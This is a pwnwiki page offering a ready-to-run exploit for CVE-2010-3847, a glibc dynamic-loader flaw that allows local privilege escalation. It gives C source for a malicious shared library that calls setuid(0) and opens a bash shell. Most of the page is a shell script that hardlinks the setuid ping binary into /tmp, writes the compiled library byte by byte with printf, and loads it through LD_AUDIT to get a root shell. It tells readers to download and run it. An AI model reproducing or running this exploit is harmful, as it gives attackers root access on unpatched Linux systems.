Loading
0

CVE-2010-3847 elf/dl-load.c 本地特权提升漏洞

pwnwiki.com

,

INFO

CVE-2010-3847 script
====================
Meant to automate the exploit discussed in
http://marc.info/?l=full-disclosure&m=128776663124692&w=2.  Tested on
CentOS 5 x86.

The DSO it outputs is compiled from the following code:
```c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void __attribute__((constructor)) init()
{
   setuid(0);
   system("/bin/bash");
}
```

Usage
-----
Download it, put it somewhere executable, and run it.

Gotchas
-------
`/tmp` and wherever `ping` is have to be on the same filesystem.  If not,
adjust the paths accordingly.

CVE-2010-3847.sh

#!/bin/sh

set -e

echo "Opening file descriptor 3 to /tmp/.exploit/target"
mkdir /tmp/.exploit
ln /bin/ping /tmp/.exploit/target
exec 3< /tmp/.exploit/target
rm -rf /tmp/.exploit/
ls -l /proc/self/fd/3

echo "Writing malicious DSO to /tmp/.exploit"
printf "\177\105\114\106\001\001\001\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\003\000\003\000\001\000\000\000\060\003\000\000\064\000\000\000" >>/tmp/.exploit
printf "\150\007\000\000\000\000\000\000\064\000\040\000\004\000\050\000" >>/tmp/.exploit
printf "\032\000\027\000\001\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\260\004\000\000\260\004\000\000\005\000\000\000" >>/tmp/.exploit
printf "\000\020\000\000\001\000\000\000\260\004\000\000\260\024\000\000" >>/tmp/.exploit
printf "\260\024\000\000\004\001\000\000\014\001\000\000\006\000\000\000" >>/tmp/.exploit
printf "\000\020\000\000\002\000\000\000\314\004\000\000\314\024\000\000" >>/tmp/.exploit
printf "\314\024\000\000\300\000\000\000\300\000\000\000\006\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\121\345\164\144\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\000\000\000\000\006\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\003\000\000\000\006\000\000\000\002\000\000\000" >>/tmp/.exploit
printf "\006\000\000\000\210\000\040\001\000\304\120\013\006\000\000\000" >>/tmp/.exploit
printf "\010\000\000\000\013\000\000\000\272\343\222\174\103\105\325\354" >>/tmp/.exploit
printf "\330\161\130\034\070\205\230\174\271\215\361\016\353\323\357\016" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\001\000\000\000\000\000\000\000\000\000\000\000\040\000\000\000" >>/tmp/.exploit
printf "\053\000\000\000\000\000\000\000\000\000\000\000\040\000\000\000" >>/tmp/.exploit
printf "\106\000\000\000\000\000\000\000\175\000\000\000\022\000\000\000" >>/tmp/.exploit
printf "\077\000\000\000\000\000\000\000\145\000\000\000\022\000\000\000" >>/tmp/.exploit
printf "\034\000\000\000\000\000\000\000\132\001\000\000\042\000\000\000" >>/tmp/.exploit
printf "\152\000\000\000\274\025\000\000\000\000\000\000\020\000\361\377" >>/tmp/.exploit
printf "\127\000\000\000\264\025\000\000\000\000\000\000\020\000\361\377" >>/tmp/.exploit
printf "\136\000\000\000\264\025\000\000\000\000\000\000\020\000\361\377" >>/tmp/.exploit
printf "\021\000\000\000\034\004\000\000\062\000\000\000\022\000\012\000" >>/tmp/.exploit
printf "\020\000\000\000\310\002\000\000\000\000\000\000\022\000\010\000" >>/tmp/.exploit
printf "\026\000\000\000\204\004\000\000\000\000\000\000\022\000\013\000" >>/tmp/.exploit
printf "\000\137\137\147\155\157\156\137\163\164\141\162\164\137\137\000" >>/tmp/.exploit
printf "\137\151\156\151\164\000\137\146\151\156\151\000\137\137\143\170" >>/tmp/.exploit
printf "\141\137\146\151\156\141\154\151\172\145\000\137\112\166\137\122" >>/tmp/.exploit
printf "\145\147\151\163\164\145\162\103\154\141\163\163\145\163\000\163" >>/tmp/.exploit
printf "\145\164\165\151\144\000\163\171\163\164\145\155\000\154\151\142" >>/tmp/.exploit
printf "\143\056\163\157\056\066\000\137\145\144\141\164\141\000\137\137" >>/tmp/.exploit
printf "\142\163\163\137\163\164\141\162\164\000\137\145\156\144\000\107" >>/tmp/.exploit
printf "\114\111\102\103\137\062\056\061\056\063\000\107\114\111\102\103" >>/tmp/.exploit
printf "\137\062\056\060\000\000\000\000\000\000\000\000\002\000\002\000" >>/tmp/.exploit
printf "\003\000\001\000\001\000\001\000\001\000\001\000\001\000\000\000" >>/tmp/.exploit
printf "\001\000\002\000\115\000\000\000\020\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\163\037\151\011\000\000\003\000\157\000\000\000\020\000\000\000" >>/tmp/.exploit
printf "\020\151\151\015\000\000\002\000\173\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\310\024\000\000\010\000\000\000\264\024\000\000\001\011\000\000" >>/tmp/.exploit
printf "\214\025\000\000\006\001\000\000\220\025\000\000\006\002\000\000" >>/tmp/.exploit
printf "\224\025\000\000\006\005\000\000\244\025\000\000\007\001\000\000" >>/tmp/.exploit
printf "\250\025\000\000\007\003\000\000\254\025\000\000\007\004\000\000" >>/tmp/.exploit
printf "\260\025\000\000\007\005\000\000\125\211\345\203\354\010\350\135" >>/tmp/.exploit
printf "\000\000\000\350\010\001\000\000\350\163\001\000\000\311\303\000" >>/tmp/.exploit
printf "\377\263\004\000\000\000\377\243\010\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\377\243\014\000\000\000\150\000\000\000\000\351\340\377\377\377" >>/tmp/.exploit
printf "\377\243\020\000\000\000\150\010\000\000\000\351\320\377\377\377" >>/tmp/.exploit
printf "\377\243\024\000\000\000\150\020\000\000\000\351\300\377\377\377" >>/tmp/.exploit
printf "\377\243\030\000\000\000\150\030\000\000\000\351\260\377\377\377" >>/tmp/.exploit
printf "\125\211\345\123\203\354\004\350\000\000\000\000\133\201\303\134" >>/tmp/.exploit
printf "\022\000\000\213\223\364\377\377\377\205\322\164\005\350\236\377" >>/tmp/.exploit
printf "\377\377\130\133\311\303\220\220\220\220\220\220\220\220\220\220" >>/tmp/.exploit
printf "\125\211\345\126\123\350\255\000\000\000\201\303\056\022\000\000" >>/tmp/.exploit
printf "\203\354\020\200\273\040\000\000\000\000\165\127\213\203\374\377" >>/tmp/.exploit
printf "\377\377\205\300\164\016\215\203\060\377\377\377\211\004\044\350" >>/tmp/.exploit
printf "\214\377\377\377\215\203\050\377\377\377\215\223\044\377\377\377" >>/tmp/.exploit
printf "\051\320\301\370\002\215\160\377\213\203\034\000\000\000\071\306" >>/tmp/.exploit
printf "\166\032\203\300\001\211\203\034\000\000\000\377\224\203\044\377" >>/tmp/.exploit
printf "\377\377\213\203\034\000\000\000\071\306\167\346\306\203\040\000" >>/tmp/.exploit
printf "\000\000\001\203\304\020\133\136\135\303\215\266\000\000\000\000" >>/tmp/.exploit
printf "\125\211\345\123\350\056\000\000\000\201\303\257\021\000\000\203" >>/tmp/.exploit
printf "\354\004\213\223\054\377\377\377\205\322\164\025\213\223\370\377" >>/tmp/.exploit
printf "\377\377\205\322\164\013\215\203\054\377\377\377\211\004\044\377" >>/tmp/.exploit
printf "\322\203\304\004\133\135\303\213\034\044\303\220\125\211\345\123" >>/tmp/.exploit
printf "\203\354\004\350\357\377\377\377\201\303\160\021\000\000\307\004" >>/tmp/.exploit
printf "\044\000\000\000\000\350\326\376\377\377\215\203\010\357\377\377" >>/tmp/.exploit
printf "\211\004\044\350\270\376\377\377\203\304\004\133\135\303\220\220" >>/tmp/.exploit
printf "\125\211\345\126\123\350\275\377\377\377\201\303\076\021\000\000" >>/tmp/.exploit
printf "\215\203\040\377\377\377\215\160\374\213\100\374\203\370\377\164" >>/tmp/.exploit
printf "\014\203\356\004\377\320\213\006\203\370\377\165\364\133\136\135" >>/tmp/.exploit
printf "\303\220\220\220\125\211\345\123\203\354\004\350\000\000\000\000" >>/tmp/.exploit
printf "\133\201\303\010\021\000\000\350\304\376\377\377\131\133\311\303" >>/tmp/.exploit
printf "\057\142\151\156\057\142\141\163\150\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\377\377\377\377\000\000\000\000\000\000\000\000\377\377\377\377" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\310\024\000\000\001\000\000\000" >>/tmp/.exploit
printf "\115\000\000\000\014\000\000\000\310\002\000\000\015\000\000\000" >>/tmp/.exploit
printf "\204\004\000\000\365\376\377\157\264\000\000\000\005\000\000\000" >>/tmp/.exploit
printf "\260\001\000\000\006\000\000\000\360\000\000\000\012\000\000\000" >>/tmp/.exploit
printf "\205\000\000\000\013\000\000\000\020\000\000\000\003\000\000\000" >>/tmp/.exploit
printf "\230\025\000\000\002\000\000\000\040\000\000\000\024\000\000\000" >>/tmp/.exploit
printf "\021\000\000\000\027\000\000\000\250\002\000\000\021\000\000\000" >>/tmp/.exploit
printf "\200\002\000\000\022\000\000\000\050\000\000\000\023\000\000\000" >>/tmp/.exploit
printf "\010\000\000\000\376\377\377\157\120\002\000\000\377\377\377\157" >>/tmp/.exploit
printf "\001\000\000\000\360\377\377\157\066\002\000\000\372\377\377\157" >>/tmp/.exploit
printf "\001\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\314\024\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\366\002\000\000\006\003\000\000\026\003\000\000" >>/tmp/.exploit
printf "\046\003\000\000\000\107\103\103\072\040\050\107\116\125\051\040" >>/tmp/.exploit
printf "\064\056\061\056\062\040\062\060\060\070\060\067\060\064\040\050" >>/tmp/.exploit
printf "\122\145\144\040\110\141\164\040\064\056\061\056\062\055\065\065" >>/tmp/.exploit
printf "\051\000\000\107\103\103\072\040\050\107\116\125\051\040\064\056" >>/tmp/.exploit
printf "\061\056\062\040\062\060\060\070\060\067\060\064\040\050\122\145" >>/tmp/.exploit
printf "\144\040\110\141\164\040\064\056\061\056\062\055\065\065\051\000" >>/tmp/.exploit
printf "\000\107\103\103\072\040\050\107\116\125\051\040\064\056\061\056" >>/tmp/.exploit
printf "\062\040\062\060\060\070\060\067\060\064\040\050\122\145\144\040" >>/tmp/.exploit
printf "\110\141\164\040\064\056\061\056\062\055\065\065\051\000\000\107" >>/tmp/.exploit
printf "\103\103\072\040\050\107\116\125\051\040\064\056\061\056\062\040" >>/tmp/.exploit
printf "\062\060\060\070\060\067\060\064\040\050\122\145\144\040\110\141" >>/tmp/.exploit
printf "\164\040\064\056\061\056\062\055\065\065\051\000\000\107\103\103" >>/tmp/.exploit
printf "\072\040\050\107\116\125\051\040\064\056\061\056\062\040\062\060" >>/tmp/.exploit
printf "\060\070\060\067\060\064\040\050\122\145\144\040\110\141\164\040" >>/tmp/.exploit
printf "\064\056\061\056\062\055\065\065\051\000\000\056\163\171\155\164" >>/tmp/.exploit
printf "\141\142\000\056\163\164\162\164\141\142\000\056\163\150\163\164" >>/tmp/.exploit
printf "\162\164\141\142\000\056\147\156\165\056\150\141\163\150\000\056" >>/tmp/.exploit
printf "\144\171\156\163\171\155\000\056\144\171\156\163\164\162\000\056" >>/tmp/.exploit
printf "\147\156\165\056\166\145\162\163\151\157\156\000\056\147\156\165" >>/tmp/.exploit
printf "\056\166\145\162\163\151\157\156\137\162\000\056\162\145\154\056" >>/tmp/.exploit
printf "\144\171\156\000\056\162\145\154\056\160\154\164\000\056\151\156" >>/tmp/.exploit
printf "\151\164\000\056\164\145\170\164\000\056\146\151\156\151\000\056" >>/tmp/.exploit
printf "\162\157\144\141\164\141\000\056\145\150\137\146\162\141\155\145" >>/tmp/.exploit
printf "\000\056\143\164\157\162\163\000\056\144\164\157\162\163\000\056" >>/tmp/.exploit
printf "\152\143\162\000\056\144\141\164\141\056\162\145\154\056\162\157" >>/tmp/.exploit
printf "\000\056\144\171\156\141\155\151\143\000\056\147\157\164\000\056" >>/tmp/.exploit
printf "\147\157\164\056\160\154\164\000\056\142\163\163\000\056\143\157" >>/tmp/.exploit
printf "\155\155\145\156\164\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\033\000\000\000\366\377\377\157\002\000\000\000\264\000\000\000" >>/tmp/.exploit
printf "\264\000\000\000\074\000\000\000\002\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\004\000\000\000\045\000\000\000\013\000\000\000" >>/tmp/.exploit
printf "\002\000\000\000\360\000\000\000\360\000\000\000\300\000\000\000" >>/tmp/.exploit
printf "\003\000\000\000\001\000\000\000\004\000\000\000\020\000\000\000" >>/tmp/.exploit
printf "\055\000\000\000\003\000\000\000\002\000\000\000\260\001\000\000" >>/tmp/.exploit
printf "\260\001\000\000\205\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\001\000\000\000\000\000\000\000\065\000\000\000\377\377\377\157" >>/tmp/.exploit
printf "\002\000\000\000\066\002\000\000\066\002\000\000\030\000\000\000" >>/tmp/.exploit
printf "\002\000\000\000\000\000\000\000\002\000\000\000\002\000\000\000" >>/tmp/.exploit
printf "\102\000\000\000\376\377\377\157\002\000\000\000\120\002\000\000" >>/tmp/.exploit
printf "\120\002\000\000\060\000\000\000\003\000\000\000\001\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\000\000\000\000\121\000\000\000\011\000\000\000" >>/tmp/.exploit
printf "\002\000\000\000\200\002\000\000\200\002\000\000\050\000\000\000" >>/tmp/.exploit
printf "\002\000\000\000\000\000\000\000\004\000\000\000\010\000\000\000" >>/tmp/.exploit
printf "\132\000\000\000\011\000\000\000\002\000\000\000\250\002\000\000" >>/tmp/.exploit
printf "\250\002\000\000\040\000\000\000\002\000\000\000\011\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\010\000\000\000\143\000\000\000\001\000\000\000" >>/tmp/.exploit
printf "\006\000\000\000\310\002\000\000\310\002\000\000\027\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\004\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\136\000\000\000\001\000\000\000\006\000\000\000\340\002\000\000" >>/tmp/.exploit
printf "\340\002\000\000\120\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\004\000\000\000\151\000\000\000\001\000\000\000" >>/tmp/.exploit
printf "\006\000\000\000\060\003\000\000\060\003\000\000\124\001\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\020\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\157\000\000\000\001\000\000\000\006\000\000\000\204\004\000\000" >>/tmp/.exploit
printf "\204\004\000\000\034\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\000\000\000\000\165\000\000\000\001\000\000\000" >>/tmp/.exploit
printf "\002\000\000\000\240\004\000\000\240\004\000\000\012\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\001\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\175\000\000\000\001\000\000\000\002\000\000\000\254\004\000\000" >>/tmp/.exploit
printf "\254\004\000\000\004\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\000\000\000\000\207\000\000\000\001\000\000\000" >>/tmp/.exploit
printf "\003\000\000\000\260\024\000\000\260\004\000\000\014\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\004\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\216\000\000\000\001\000\000\000\003\000\000\000\274\024\000\000" >>/tmp/.exploit
printf "\274\004\000\000\010\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\000\000\000\000\225\000\000\000\001\000\000\000" >>/tmp/.exploit
printf "\003\000\000\000\304\024\000\000\304\004\000\000\004\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\004\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\232\000\000\000\001\000\000\000\003\000\000\000\310\024\000\000" >>/tmp/.exploit
printf "\310\004\000\000\004\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\000\000\000\000\247\000\000\000\006\000\000\000" >>/tmp/.exploit
printf "\003\000\000\000\314\024\000\000\314\004\000\000\300\000\000\000" >>/tmp/.exploit
printf "\003\000\000\000\000\000\000\000\004\000\000\000\010\000\000\000" >>/tmp/.exploit
printf "\260\000\000\000\001\000\000\000\003\000\000\000\214\025\000\000" >>/tmp/.exploit
printf "\214\005\000\000\014\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\004\000\000\000\265\000\000\000\001\000\000\000" >>/tmp/.exploit
printf "\003\000\000\000\230\025\000\000\230\005\000\000\034\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\004\000\000\000\004\000\000\000" >>/tmp/.exploit
printf "\276\000\000\000\010\000\000\000\003\000\000\000\264\025\000\000" >>/tmp/.exploit
printf "\264\005\000\000\010\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\004\000\000\000\000\000\000\000\303\000\000\000\001\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\264\005\000\000\346\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\001\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\021\000\000\000\003\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\232\006\000\000\314\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\001\000\000\000\000\000\000\000\001\000\000\000\002\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\170\013\000\000\140\003\000\000" >>/tmp/.exploit
printf "\031\000\000\000\053\000\000\000\004\000\000\000\020\000\000\000" >>/tmp/.exploit
printf "\011\000\000\000\003\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\330\016\000\000\241\001\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\001\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\000\000\000\000\000\000\000\000\264\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\001\000\000\000\000\000\360\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\002\000\000\000\000\000\260\001\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\003\000\000\000\000\000\066\002\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\004\000\000\000\000\000\120\002\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\005\000\000\000\000\000\200\002\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\006\000\000\000\000\000\250\002\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\007\000\000\000\000\000\310\002\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\010\000\000\000\000\000\340\002\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\011\000\000\000\000\000\060\003\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\012\000\000\000\000\000\204\004\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\013\000\000\000\000\000\240\004\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\014\000\000\000\000\000\254\004\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\015\000\000\000\000\000\260\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\016\000\000\000\000\000\274\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\017\000\000\000\000\000\304\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\020\000\000\000\000\000\310\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\021\000\000\000\000\000\314\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\022\000\000\000\000\000\214\025\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\023\000\000\000\000\000\230\025\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\024\000\000\000\000\000\264\025\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\025\000\000\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\003\000\026\000\001\000\000\000\060\003\000\000" >>/tmp/.exploit
printf "\000\000\000\000\002\000\012\000\021\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\004\000\361\377\034\000\000\000\260\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\001\000\016\000\052\000\000\000\274\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\001\000\017\000\070\000\000\000\304\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\001\000\020\000\105\000\000\000\264\025\000\000" >>/tmp/.exploit
printf "\004\000\000\000\001\000\025\000\123\000\000\000\270\025\000\000" >>/tmp/.exploit
printf "\001\000\000\000\001\000\025\000\142\000\000\000\140\003\000\000" >>/tmp/.exploit
printf "\000\000\000\000\002\000\012\000\170\000\000\000\340\003\000\000" >>/tmp/.exploit
printf "\000\000\000\000\002\000\012\000\021\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\004\000\361\377\204\000\000\000\270\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\001\000\016\000\221\000\000\000\254\004\000\000" >>/tmp/.exploit
printf "\000\000\000\000\001\000\015\000\237\000\000\000\304\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\001\000\020\000\253\000\000\000\120\004\000\000" >>/tmp/.exploit
printf "\000\000\000\000\002\000\012\000\301\000\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\004\000\361\377\305\000\000\000\230\025\000\000" >>/tmp/.exploit
printf "\000\000\000\000\001\002\361\377\333\000\000\000\310\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\001\002\021\000\350\000\000\000\300\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\001\002\017\000\365\000\000\000\027\004\000\000" >>/tmp/.exploit
printf "\000\000\000\000\002\002\012\000\014\001\000\000\314\024\000\000" >>/tmp/.exploit
printf "\000\000\000\000\001\002\361\377\025\001\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\040\000\000\000\044\001\000\000\000\000\000\000" >>/tmp/.exploit
printf "\000\000\000\000\040\000\000\000\070\001\000\000\204\004\000\000" >>/tmp/.exploit
printf "\000\000\000\000\022\000\013\000\076\001\000\000\000\000\000\000" >>/tmp/.exploit
printf "\175\000\000\000\022\000\000\000\120\001\000\000\000\000\000\000" >>/tmp/.exploit
printf "\145\000\000\000\022\000\000\000\142\001\000\000\264\025\000\000" >>/tmp/.exploit
printf "\000\000\000\000\020\000\361\377\156\001\000\000\274\025\000\000" >>/tmp/.exploit
printf "\000\000\000\000\020\000\361\377\163\001\000\000\034\004\000\000" >>/tmp/.exploit
printf "\062\000\000\000\022\000\012\000\170\001\000\000\264\025\000\000" >>/tmp/.exploit
printf "\000\000\000\000\020\000\361\377\177\001\000\000\000\000\000\000" >>/tmp/.exploit
printf "\132\001\000\000\042\000\000\000\233\001\000\000\310\002\000\000" >>/tmp/.exploit
printf "\000\000\000\000\022\000\010\000\000\143\141\154\154\137\147\155" >>/tmp/.exploit
printf "\157\156\137\163\164\141\162\164\000\143\162\164\163\164\165\146" >>/tmp/.exploit
printf "\146\056\143\000\137\137\103\124\117\122\137\114\111\123\124\137" >>/tmp/.exploit
printf "\137\000\137\137\104\124\117\122\137\114\111\123\124\137\137\000" >>/tmp/.exploit
printf "\137\137\112\103\122\137\114\111\123\124\137\137\000\144\164\157" >>/tmp/.exploit
printf "\162\137\151\144\170\056\065\067\071\063\000\143\157\155\160\154" >>/tmp/.exploit
printf "\145\164\145\144\056\065\067\071\061\000\137\137\144\157\137\147" >>/tmp/.exploit
printf "\154\157\142\141\154\137\144\164\157\162\163\137\141\165\170\000" >>/tmp/.exploit
printf "\146\162\141\155\145\137\144\165\155\155\171\000\137\137\103\124" >>/tmp/.exploit
printf "\117\122\137\105\116\104\137\137\000\137\137\106\122\101\115\105" >>/tmp/.exploit
printf "\137\105\116\104\137\137\000\137\137\112\103\122\137\105\116\104" >>/tmp/.exploit
printf "\137\137\000\137\137\144\157\137\147\154\157\142\141\154\137\143" >>/tmp/.exploit
printf "\164\157\162\163\137\141\165\170\000\160\056\143\000\137\107\114" >>/tmp/.exploit
printf "\117\102\101\114\137\117\106\106\123\105\124\137\124\101\102\114" >>/tmp/.exploit
printf "\105\137\000\137\137\144\163\157\137\150\141\156\144\154\145\000" >>/tmp/.exploit
printf "\137\137\104\124\117\122\137\105\116\104\137\137\000\137\137\151" >>/tmp/.exploit
printf "\066\070\066\056\147\145\164\137\160\143\137\164\150\165\156\153" >>/tmp/.exploit
printf "\056\142\170\000\137\104\131\116\101\115\111\103\000\137\137\147" >>/tmp/.exploit
printf "\155\157\156\137\163\164\141\162\164\137\137\000\137\112\166\137" >>/tmp/.exploit
printf "\122\145\147\151\163\164\145\162\103\154\141\163\163\145\163\000" >>/tmp/.exploit
printf "\137\146\151\156\151\000\163\171\163\164\145\155\100\100\107\114" >>/tmp/.exploit
printf "\111\102\103\137\062\056\060\000\163\145\164\165\151\144\100\100" >>/tmp/.exploit
printf "\107\114\111\102\103\137\062\056\060\000\137\137\142\163\163\137" >>/tmp/.exploit
printf "\163\164\141\162\164\000\137\145\156\144\000\151\156\151\164\000" >>/tmp/.exploit
printf "\137\145\144\141\164\141\000\137\137\143\170\141\137\146\151\156" >>/tmp/.exploit
printf "\141\154\151\172\145\100\100\107\114\111\102\103\137\062\056\061" >>/tmp/.exploit
ls -l /tmp/.exploit

echo "Shell coming..."
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

PWNWIK.COM